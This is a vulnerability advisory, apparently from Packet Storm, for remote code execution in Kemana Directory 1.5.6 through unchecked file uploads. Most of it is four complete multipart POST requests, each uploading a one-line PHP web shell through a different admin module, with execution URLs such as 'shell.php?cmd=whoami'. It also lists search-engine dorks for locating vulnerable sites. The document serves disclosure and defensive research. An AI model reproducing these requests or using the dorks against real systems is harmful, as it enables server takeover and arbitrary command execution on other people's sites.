Kemana Directory 1.5.6 Remote Code Execution

2014-03-25T00:00:00
ID PACKETSTORM:125875
Type packetstorm
Reporter LiquidWorm
Modified 2014-03-25T00:00:00

Description

                                        
                                            `  
Kemana Directory 1.5.6 Remote Code Execution  
  
  
Vendor: C97net  
Product web page: http://www.c97.net  
Affected version: 1.5.6  
  
Summary: Experience the ultimate directory script solution  
with Kemana. Create your own Yahoo or Dmoz easily with Kemana.  
Unique Kemana's features including: CMS engine based on our  
qEngine, multiple directories support, user friendly administration  
control panel, easy to use custom fields, unsurpassed flexibility.  
  
Desc: Kemana Directory suffers from an authenticated arbitrary code  
execution. The vulnerability is caused due to the improper verification  
of uploaded files in several modules thru several POST parameters.  
This can be exploited to execute arbitrary PHP code by uploading  
a malicious PHP script file that will be stored in '/public/image'  
directory. Minimum permissions needed for a user to upload any file:  
  
User level: Regular (param: user_level=1)  
Admin level: Editor (param: admin_level=3)  
  
Only the 'Super Admin' level makes the Tool 'File Manager' available.  
  
  
Tested on: Apache/2.4.7 (Win32)  
PHP/5.5.6  
MySQL 5.6.14  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2014-5178  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5178.php  
  
  
Dork #1: intitle:powered by c97.net  
Dork #2: intitle:powered by qEngine  
Dork #3: intitle:powered by Kemana.c97.net  
Dork #4: intitle:powered by Cart2.c97.net  
  
  
  
07.03.2014  
  
---  
  
  
#1 (Modules > Articles > Manage Categories > Create A New Category)  
  
POST http://localhost/kemana/admin/task.php?mod=portal&run=pcat_edit.php& HTTP/1.1  
  
  
-----------------------------18727540915953  
Content-Disposition: form-data; name="AXSRF_token"  
  
12adff6127dfa3355ac24bad4a4c8687  
-----------------------------18727540915953  
Content-Disposition: form-data; name="qadmin_cmd"  
  
new  
-----------------------------18727540915953  
Content-Disposition: form-data; name="qadmin_process"  
  
1  
-----------------------------18727540915953  
Content-Disposition: form-data; name="primary_key"  
  
cat_id  
-----------------------------18727540915953  
Content-Disposition: form-data; name="primary_val"  
  
dummy  
-----------------------------18727540915953  
Content-Disposition: form-data; name="parent"  
  
0  
-----------------------------18727540915953  
Content-Disposition: form-data; name="cat_name"  
  
ZSL  
-----------------------------18727540915953  
Content-Disposition: form-data; name="cat_note"  
  
nothing to note  
-----------------------------18727540915953  
Content-Disposition: form-data; name="cat_keywords"  
  
Zero Science Lab  
-----------------------------18727540915953  
Content-Disposition: form-data; name="cat_img"; filename="shell.php"  
Content-Type: application/octet-stream  
  
<?php passthru($_GET['cmd']); ?>  
-----------------------------18727540915953--  
  
  
Upload location: http://localhost/kemana/public/image/  
Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami  
  
  
  
  
#2 (Modules > qBanner > Manage Banner > Add Entry)  
  
POST http://localhost/kemana/admin/task.php?mod=qbanner&run=edit.php& HTTP/1.1  
  
  
-----------------------------225222869427624  
Content-Disposition: form-data; name="AXSRF_token"  
  
52e9c9ff9bb251a144b82a662496f5b8  
-----------------------------225222869427624  
Content-Disposition: form-data; name="qadmin_cmd"  
  
new  
-----------------------------225222869427624  
Content-Disposition: form-data; name="qadmin_process"  
  
1  
-----------------------------225222869427624  
Content-Disposition: form-data; name="qadmin_savenew"  
  
0  
-----------------------------225222869427624  
Content-Disposition: form-data; name="primary_key"  
  
page_id  
-----------------------------225222869427624  
Content-Disposition: form-data; name="primary_val"  
  
dummy  
-----------------------------225222869427624  
Content-Disposition: form-data; name="page_image"; filename="shell.php"  
Content-Type: application/octet-stream  
  
<?php passthru($_GET['cmd']); ?>  
-----------------------------225222869427624  
Content-Disposition: form-data; name="page_title"  
  
ZSL  
-----------------------------225222869427624  
Content-Disposition: form-data; name="page_keyword"  
  
http://www.zeroscience.mk  
-----------------------------225222869427624  
Content-Disposition: form-data; name="group_id"  
  
QBANR  
-----------------------------225222869427624  
Content-Disposition: form-data; name="page_body"  
  
This page is part of qBanner module. Please use qBanner Manager to edit this page.  
-----------------------------225222869427624  
Content-Disposition: form-data; name="page_allow_comment"  
  
-----------------------------225222869427624  
Content-Disposition: form-data; name="page_list"  
  
-----------------------------225222869427624--  
  
  
Upload location: http://localhost/kemana/public/image/  
Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami  
  
  
  
  
#3 (Tools > File Manager > Upload)  
  
POST http://localhost/kemana/admin/fman/upload_process.php HTTP/1.1  
  
  
-----------------------------76802486520945  
Content-Disposition: form-data; name="chdir"  
  
-----------------------------76802486520945  
Content-Disposition: form-data; name="n"  
  
5  
-----------------------------76802486520945  
Content-Disposition: form-data; name="userfile_1"; filename="shell.php"  
Content-Type: application/octet-stream  
  
<?php passthru($_GET['cmd']); ?>  
-----------------------------76802486520945  
Content-Disposition: form-data; name="userfile_2"; filename=""  
Content-Type: application/octet-stream  
  
-----------------------------76802486520945  
Content-Disposition: form-data; name="userfile_3"; filename=""  
Content-Type: application/octet-stream  
  
-----------------------------76802486520945  
Content-Disposition: form-data; name="userfile_4"; filename=""  
Content-Type: application/octet-stream  
  
-----------------------------76802486520945  
Content-Disposition: form-data; name="userfile_5"; filename=""  
Content-Type: application/octet-stream  
  
-----------------------------76802486520945--  
  
  
Upload location: Anywhere within the webroot folder and its subfolders.  
Exec: http://localhost/kemana/shell.php?cmd=whoami  
  
  
  
  
#4 (Contents > Slideshow > Add Entry)  
  
POST http://localhost/kemana/admin/featured_content.php? HTTP/1.1  
  
  
-----------------------------9813040432632  
Content-Disposition: form-data; name="AXSRF_token"  
  
516e6705d27d7d242d948d16b18a6339  
-----------------------------9813040432632  
Content-Disposition: form-data; name="qadmin_cmd"  
  
new  
-----------------------------9813040432632  
Content-Disposition: form-data; name="qadmin_process"  
  
1  
-----------------------------9813040432632  
Content-Disposition: form-data; name="primary_key"  
  
idx  
-----------------------------9813040432632  
Content-Disposition: form-data; name="primary_val"  
  
dummy  
-----------------------------9813040432632  
Content-Disposition: form-data; name="feat_title"  
  
Zero Science Lab  
-----------------------------9813040432632  
Content-Disposition: form-data; name="feat_img"; filename="shell.php"  
Content-Type: application/octet-stream  
  
<?php passthru($_GET['cmd']); ?>  
-----------------------------9813040432632  
Content-Disposition: form-data; name="feat_url"  
  
http://www.zeroscience.mk  
-----------------------------9813040432632  
Content-Disposition: form-data; name="feat_text"  
  
<p>TEST</p>  
-----------------------------9813040432632--  
  
  
Upload location: http://localhost/kemana/public/image/  
Exec: http://localhost/kemana/public/image/shell.php?cmd=whoami  
`